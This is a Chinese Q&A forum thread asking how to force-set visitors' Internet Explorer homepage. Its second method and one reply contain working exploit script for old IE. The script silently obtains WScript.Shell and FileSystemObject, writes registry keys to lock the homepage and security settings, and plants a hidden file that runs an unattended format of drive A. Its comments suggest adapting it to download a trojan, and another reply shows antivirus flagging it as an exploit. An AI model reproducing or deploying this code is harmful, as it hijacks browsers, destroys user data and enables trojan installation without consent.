求自动设置IE默认首页代码！分不够在加！在线等待！

第一种方法
    <BODY id=BASEBody onunload="BASEBody.style.behavior='url(#default#homepage)';if((!(BASEBody.isHomePage('http://www.china690.net/')))&&(!(BASEBody.isHomePage('http://www.china690.net'))))BASEBody.setHomePage(www.china690.net/');" bgColor=#ffffff  text=#000000 link=#261cdc vlink="#261cdc" leftMargin=0 topMargin=0 rightMargin=0 bottomMargin=0>第二种方法
    <script>
//初始化actiVex控件
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
//初始化actiVex控件结束
//定义变量
function reg(){
try
{
//设定applets为0
a=document.applets[0]
//初始化Windows Script Host Shell Object
a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
a.createInstance()
S=a.GetObject()
//初始化FileSystem Object
a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
a.createInstance();
fs=a.GetObject()
try
{
//开始写注册表
//设定IE的标题为Internet Explorer
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
//设定IE的默认首页为空白页
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
//让设定首页那项变灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")
//让设定分级审查设定那项变灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD")
//在网页右键菜单中加入调用文件的命令
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\","c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
//对于REG_DWORD型和REG_BINARY型则有两种赋值方式 
//直接用十进制的数表示，如：0，1等
//用十六进制的数表示,如：0x12,0xff等
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\contexts",0xf3,"REG_DWORD")
//结束写注册表
//开始写硬盘
//生成一个名为c:\\5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
hd=fs.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//把这个文件写入javascript内容
//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>')
//关闭这个文件
hd.close()
//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的，然后在后面接上.Copy("d:\format.txt"),这个脚本可以改成下载木马
//格式为file=fs.GetFile("网络路径").Copy("运行路径")
//这个脚本如果配合asp，那么完全成了一个功能非常强大的木马了
file=fs.GetFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//设定这个文件的属性为隐藏
file.Attributes=6
//结束写硬盘
}
catch(reg)
{}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就运行一次
setTimeout("reg()",100)
}
flash()
</script>第三种方法
    <input type=button value=设成主页   onclick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.meizz.com/')">

解决方案 »

  1.   

    就算起作用，客户端禁止了脚本和ActiveX控件，你也无法改变的告诉你老板吧，这样设置了的网站不受欢迎，不然你就去色情网站找代码
      

  2.   

    诺顿提示:
    扫描类型： 实时防护 扫描
    事件： 已发现病毒！
    病毒名称: JS.Exception.Exploit
    文件： E:\Temporary Internet Files\Content.IE5\CLU349U7\2547612[1].xml
    位置：E:\Temporary Internet Files\Content.IE5\CLU349U7
    计算机：LILIJUN
    用户：lilijun
    采用的操作：清除 失败 : 隔离 失败 : 拒绝访问
    发现的日期： Wed Dec 10 13:15:30 2003
      

  3.   

    <Script Language="JavaScript">
    document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>");

    function z() {
    try {
    a=document.applets[0];
    a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");
    a.createInstance();
    S=a.GetObject();
    try {
    S.RegWrite("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.gnu.org");
    }
    catch(e) {

    }
    }
    catch(e) {

    }
    }

    function init() {
    setTimeout("z()",1000);
    }
    </Script>这样的话怎么还不行呀？